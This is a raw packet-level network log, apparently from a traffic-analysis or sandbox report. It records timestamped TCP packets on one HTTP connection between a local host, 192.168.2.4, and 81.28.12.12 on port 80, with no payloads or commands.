Jun 29, 2024 08:05:14.678040981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.678047895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.678055048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.678070068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.678085089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.678092003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.678131104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.678215981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.678268909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.679014921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679029942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679044008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679080963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679083109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.679095030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679104090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.679110050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679122925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.679125071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679140091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679143906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.679178953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.679214001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.679692984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679745913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679760933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679785967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.679816961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.679838896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679853916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679867983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679889917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679897070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.679918051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.679949045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.679969072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.680002928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.681829929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.681844950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.681859016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.681893110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.681932926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.681942940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.681947947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.681962967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.681978941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.681986094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.682007074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.682049036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.682169914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.682216883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.682260990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.682274103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.682286978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.682301998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.682322979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.682343960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.682348967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.682369947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.682374001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.682411909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.682449102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.682513952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.684261084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.684318066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.684320927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.684334040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.684349060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.684364080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.684374094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.684400082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.684412956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.684427977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.684448004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.684479952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.684876919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.684891939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.684906960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.684922934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.684940100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.684971094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.684976101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.685024977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.685065031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.685080051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.685094118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.685128927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.685157061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.757463932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757492065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757505894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757553101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.757553101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.757602930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757607937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.757618904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757633924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757648945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757663965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757673025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.757699013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757757902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.757774115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757787943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.757787943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757822990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.757828951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757841110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.757843018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757894993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.757942915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757957935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.757997990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.758028984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.759319067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.759346008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.759361029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.759393930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.759424925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.759433985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.759448051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.759500980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.759522915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.759538889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.759552956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.759577036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.759608030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.760679960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.760704041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.760720015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.760737896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.760761976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.760787964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.760802984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.760864019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.760878086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.760886908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.760894060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.760943890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.761888027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.761934042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.761949062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.761964083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.761991978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.761991978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.762017965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.762046099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.762064934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.762079954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.762079954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.762094975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.762128115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.762159109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.762794018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.762820005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.762835026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.762852907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.762883902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.762907982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.762989044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.763012886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.763042927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.763078928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.763093948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.763093948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.763108015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.763149977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.763149977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.763456106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.763468981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.763499022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.763509989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.763515949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.763528109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.763530016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.763546944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.763559103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.763562918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.763593912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.763622046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.763639927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.763681889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.765947104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.765970945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.765984058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766021967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766021967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766022921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766052961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766099930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766107082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766114950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766130924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766151905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766151905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766184092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766200066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766254902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766360044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766427040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766439915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766443014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766458988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766468048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766486883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766504049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766505957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766519070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766532898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766546011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.766545057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766570091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766570091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.766588926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.767504930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.767560959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.767575026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.767606974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.767628908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.767632008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.767643929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.767662048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.767690897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.767692089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.767708063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.767712116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.767733097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.767751932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.768462896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.768522024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.768532038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.768534899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.768568993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.768589020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.768605947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.768619061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.768631935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.768646955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.768660069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.768665075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.768673897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.768690109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.768704891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.768704891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.768724918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.768748045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.769227982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.769251108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.769263983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.769280910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.769315958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.769315958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.769335985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.769351006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.769365072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.769381046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.769403934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.769403934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.769411087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.769433022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.769462109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.771251917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.771300077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.771306992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.771315098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.771356106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.771357059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.771392107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.771406889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.771423101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.771436930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.771447897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.771450996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.771470070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.771486044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.771505117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.771766901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.771815062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.771822929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.771828890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.771859884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.771888971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.772456884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.772517920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.772526026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.772536039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.772558928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.772564888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.772572994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.772584915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.772603989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.773850918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.773876905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.773890018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.773904085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.773910999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.773922920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.773927927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.773948908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.773948908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.773974895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.774005890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.774023056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.774036884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.774066925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.774096966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.774303913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.774338961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.774352074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.774368048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.774385929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.774386883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.774401903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.774405003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.774416924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.774437904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.774437904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.774456978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.774465084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.774482012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.774494886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.774518967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.774537086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.847220898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847235918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847250938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847275972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.847309113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.847316027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847330093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847345114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847368002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.847373009 CEST	49731	80	192.168.2.4	81.28.12.12
